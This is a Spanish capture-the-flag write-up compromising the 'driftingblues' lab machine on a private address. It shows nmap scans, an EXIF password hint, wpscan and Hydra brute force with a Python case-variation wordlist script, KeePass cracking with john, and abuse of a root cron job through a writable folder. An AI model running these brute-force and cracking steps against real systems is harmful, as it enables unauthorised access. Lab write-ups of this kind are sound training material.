Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.18
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.18
Nmap scan report for 192.168.1.18
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: diary – Just another WordPress site
|_http-generator: WordPress 5.6.2
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEs WordPress. En wp-content/uploads/2021/02/ hay imágenes; el dblogo.png tiene una pista de contraseña en sus datos EXIF:
❯ exiftool dblogo.png
...
Text Layer Text: ssh password is 59583hello of course it is lowercase maybe not :)
...Generamos una wordlist del sitio con cewl y obtenemos un usuario con wpscan:
❯ cewl.rb -d 3 -m 5 'http://192.168.1.18' > ./wp-wordlist.txt
❯ wpscan --url http://192.168.1.18 --detection-mode aggressive --passwords wp-wordlist.txt
...
[!] Valid Combinations Found:
| Username: gill, Password: interchangeable
...Como el comentario sugería variar mayúsculas/minúsculas, generamos un diccionario con todas las combinaciones de hello y hacemos fuerza bruta SSH:
❯ cat dict_creator.py
word = "hello"
variations = []
for i in range(2 ** len(word)):
current_variation = ""
for j in range(len(word)):
if (i >> j) & 1:
current_variation += word[j].upper()
else:
current_variation += word[j].lower()
variations.append(current_variation)
with open("diccionario.txt", "a") as file:
for variation in variations:
file.write("59583" + variation + "\n")❯ hydra -l gill -P diccionario.txt 192.168.1.18 ssh -t 64
...
[22][ssh] host: 192.168.1.18 login: gill password: 59583hello
...
❯ ssh gill@192.168.1.18
gill@192.168.1.18's password: 59583hello
gill@driftingblues:~$Obtenemos la primera flag. En el home hay un keyfile.kdbx (KeePass) que crackeamos con john:
❯ keepass2john keyfile.kdbx > hash
❯ sudo /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
porsiempre (keyfile)
...Abriéndolo (keeweb) obtenemos una lista de posibles contraseñas:
2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwyldeCon pspy64 vemos un cronjob de root /root/key.sh:
gill@driftingblues:/tmp$ ./pspy64
...
2024/05/25 17:15:01 CMD: UID=0 PID=20166 | /bin/bash /root/key.sh
...Hay un /keyfolder escribible por nosotros. El cron parece probar nombres de archivo contra una clave, así que creamos un archivo por cada contraseña candidata (rotándolos) hasta que coincide y aparece rootcreds.txt:
gill@driftingblues:/keyfolder$ for PASSWD in $(cat /tmp/keyfile_content); do touch $PASSWD;sleep 62; rm $PASSWD; done
gill@driftingblues:/keyfolder$ ls
fracturedocean rootcreds.txt
gill@driftingblues:/keyfolder$ cat rootcreds.txt
root creds
imjustdrifting31Con esa contraseña obtenemos root y nuestra flag.
Fin.